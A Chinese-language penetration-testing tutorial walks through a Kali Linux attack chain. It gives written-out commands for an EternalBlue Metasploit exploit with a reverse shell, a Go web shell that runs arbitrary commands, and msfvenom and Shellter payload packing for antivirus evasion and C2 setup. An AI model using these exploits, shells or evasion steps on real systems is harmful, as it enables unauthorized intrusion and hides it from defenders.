0x01 攻击入口:Kali Linux 渗透测试的核心思路
Kali Linux 是渗透测试领域中备受推崇的操作系统,它不仅仅是一个工具箱,更是完整的武器化平台。作为一名红队攻击者,我习惯将 Kali 视为突破防线的「起点」。那么,为什么 Kali Linux 能成为渗透测试的首选?答案在于它将攻击链的每一个环节都纳入其中,配备了从信息收集到后期利用所需的一切工具。
在这篇文章中,我们将围绕一个完整的攻击链展开,利用 Kali Linux 提供的工具和自定义代码实现从信息收集到权限提升的全过程。期间,我们也会对绕过技术和免杀技巧做深入剖析。最后,我会分享一些个人的实战经验,帮助你更高效地利用 Kali Linux 打造自己的攻击框架。
---
0x02 信息收集:用好 recon 工具打基础
信息收集是渗透测试的第一步,而在 Kali 中,我们可以利用多个强大的工具完成外网和内网的情报收集工作。
外网信息收集:TheHarvester 的深度应用
TheHarvester 是 Kali 中颇受欢迎的一款情报收集工具,能够从搜索引擎、证书透明度日志、域名服务等多种来源提取目标域名的关键信息。
实战步骤

以下是使用 TheHarvester 收集目标域名相关信息的完整操作:
<pre><code class="language-shell"># 使用 TheHarvester 收集目标 example.com 的公开信息 theHarvester -d example.com -l 500 -b google</code></pre>
参数解析:
-d指定目标域名。-l设置返回的最大结果条数。-b选择数据来源,比如 google、bing、shodan 等。
运行后,TheHarvester 将输出目标域名的邮箱地址、子域名、IP 地址等信息。
优化思路
- 组合搜索引擎:通过
-b all参数组合多个搜索引擎。 - 脚本自动化:将 TheHarvester 的结果与自动化扫描工具集成。例如,用 Python 简单整合:
<pre><code class="language-python">import os
定义目标域名
target = "example.com"
执行 TheHarvester 命令
os.system(f"theHarvester -d {target} -l 500 -b google > output.txt")
读取结果并解析
with open("output.txt", "r") as file: content = file.read() print("收集到的数据:") print(content)</code></pre>
内网信息收集:Nmap 扫描的多样化玩法
在获得目标网络的访问权限后,Nmap 是我们进行内网情报收集的重要工具。从简单的端口扫描到服务识别,甚至漏洞检测,Nmap 的功能覆盖了多个攻击环节。
实战步骤
以下是使用 Nmap 对内网目标进行扫描的实际操作:
<pre><code class="language-shell"># 扫描内网目标 192.168.1.0/24 的所有在线主机 nmap -sn 192.168.1.0/24
扫描开放端口及服务版本
nmap -sV 192.168.1.1 -p 22,80,445</code></pre>

参数解析:
-sn仅进行主机发现,不扫描端口。-sV识别服务版本。-p指定端口范围。
高级玩法:自定义扫描脚本
使用 Nmap 的 NSE(Nmap Scripting Engine)脚本可以进一步扩展其功能。例如,探测目标是否存在 SMB 漏洞:
<pre><code class="language-shell"># 检测 SMBv1 漏洞 nmap --script smb-vuln-ms17-010 -p 445 192.168.1.1</code></pre>
---
0x03 漏洞利用:从 RCE 到权限提升
在完成信息收集后,我们需要分析目标系统的潜在漏洞,并通过漏洞利用工具进行攻击。这里我将重点讲解如何利用 Metasploit 和自定义工具实现漏洞利用。
利用 Metasploit 攻击 SMBv1 漏洞
实战步骤
- 启动 Metasploit 框架:

<pre><code class="language-shell">msfconsole</code></pre>
- 搜索并加载 SMBv1 漏洞模块:
<pre><code class="language-shell">search ms17_010
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.1 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit</code></pre>
成功利用漏洞后,可以获取目标系统的 Meterpreter 会话。
自定义 Go 工具实现命令执行

Metasploit 是强大的,但它的流量特征容易被检测。为了更隐蔽,我们可以用 Go 编写自己的 RCE 工具。例如:
<pre><code class="language-go">package main
import ( "net/http" "os/exec" )
func handler(w http.ResponseWriter, r *http.Request) { cmd := r.URL.Query().Get("cmd") out, err := exec.Command("/bin/bash", "-c", cmd).Output() if err != nil { w.Write([]byte(err.Error())) return } w.Write(out) }
func main() { http.HandleFunc("/", handler) http.ListenAndServe(":8080", nil) }</code></pre>
如何使用:
- 在目标机器上执行该程序。
- 通过发送 HTTP 请求(例如
http://victim:8080/?cmd=whoami)远程执行命令。
---
0x04 绕过技术:免杀与对抗
在渗透测试中,绕过杀软和 EDR 是不可避免的环节。这里分享一些常见的免杀和流量伪装技巧。
Payload 加壳与混淆
在生成反弹 shell 时,可以通过 msfvenom 结合 Obfuscator 提升免杀率:
<pre><code class="language-shell"># 生成 Windows 反弹 shell 的 payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe
使用 Shellter 对 payload 进行动态分析和加壳
shellter -a -f payload.exe</code></pre>
流量伪装与 C2 对抗
使用 HTTPS 加密和域前置技术伪装 C2 通信。例如,在 Cobalt Strike 中,设置 HTTPS Beacon:
<pre><code class="language-shell"># 配置 HTTPS Profile set C2PROFILE myprofile.profile set HTTPSCERT mycert.pem</code></pre>
---
0x05 个人经验:效率与隐蔽性并重
- 工具整合:将常用工具通过脚本自动化,减少手动操作。
- 合理规划:每一步攻击前都要明确目标,避免无意义的暴露。
- 测试免杀:定期更新免杀策略,保持 payload 的隐蔽性。
通过 Kali Linux,我们能够高效完成从信息收集到漏洞利用的完整攻击链。希望这篇文章对你有所启发。切记,所有技术只能用于授权测试!